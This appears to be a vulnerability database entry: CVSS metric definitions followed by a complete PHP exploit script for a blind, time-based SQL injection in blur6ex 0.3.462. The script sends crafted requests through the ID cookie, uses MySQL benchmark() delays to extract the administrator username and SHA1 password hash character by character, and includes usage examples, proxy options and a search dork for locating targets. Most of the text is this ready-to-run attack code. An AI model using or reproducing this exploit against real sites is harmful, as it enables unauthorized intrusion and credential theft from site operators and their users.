The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "blur6ex <= 0.3.462 'ID' blind SQL injection / admin credentials disclosurern";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrn";
echo "dork: "powered by blur6ex"rnrn";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to blur6exrn";
echo "Options:rn";
echo " -T[prefix] specify a table prefix different from default (no prefix)rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Example:rn";
echo "php ".$argv[0]." localhost /blur6ex/ rn";
echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_rn";
die;
}
/*
software site: http://www.blursoft.com/blur6ex/
vulnerable code in engine/shards/blog.php near lines 497-500:
...
case "proc_reply":
// In order to set the permissions of the reply it's necessary to know what the parent is
$permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']);
...
'ID' argument in not sanitized before to be used in a sql query,
injection is blind...
this code shows how to use time delays through Mysql benchmark() function,
u can use this technique to ask questions of the target system
and retrieve data from tables
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function my_encode($my_string)
{
$encoded="CHAR(";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.=ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=",";}
}
return $encoded;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$admin="";
$j=1;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
echo "starttime -> ".$starttime."rn";
$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)";
$sql=str_replace(" ","/**/",$sql);
$sql=urlencode($sql);
$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: ID=".$sql.";rn"; //through cookies, log this
$packet.="Connection: Closernrn";
echo quick_dump($packet)."rn";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."rn";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."rn";
if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]rn";sleep(2);break;}
if (($i==255) | (eregi("doesn't exist",$html))) {
//debug
echo $html."rn";
die("Exploit failed...maybe wrong table prefix");
}
}
$j++;
}
$admin=str_replace(chr(0),"",$admin);
echo "admin -> ".$admin."rn";
$password="";
$j=1;
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$starttime=time();
echo "starttime -> ".$starttime."rn";
$sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin);
$sql=str_replace(" ","/**/",$sql);
$sql=urlencode($sql);
$packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: ID=".$sql.";rn";
$packet.="Connection: Closernrn";
echo quick_dump($packet)."rn";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."rn";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."rn";
if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]rn";sleep(2);break;}
if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");}
}
$j++;
}
//if you are here...
echo "Exploit succeeded...rn";
echo "--------------------------------------------------------------------r
n";
echo "admin -> ".$admin."rn";
echo "password (sha1)-> ".$password."rn";
echo "--------------------------------------------------------------------r
n";
?>
original url: http://retrogod.altervista.org/blur6ex_03462_sql.html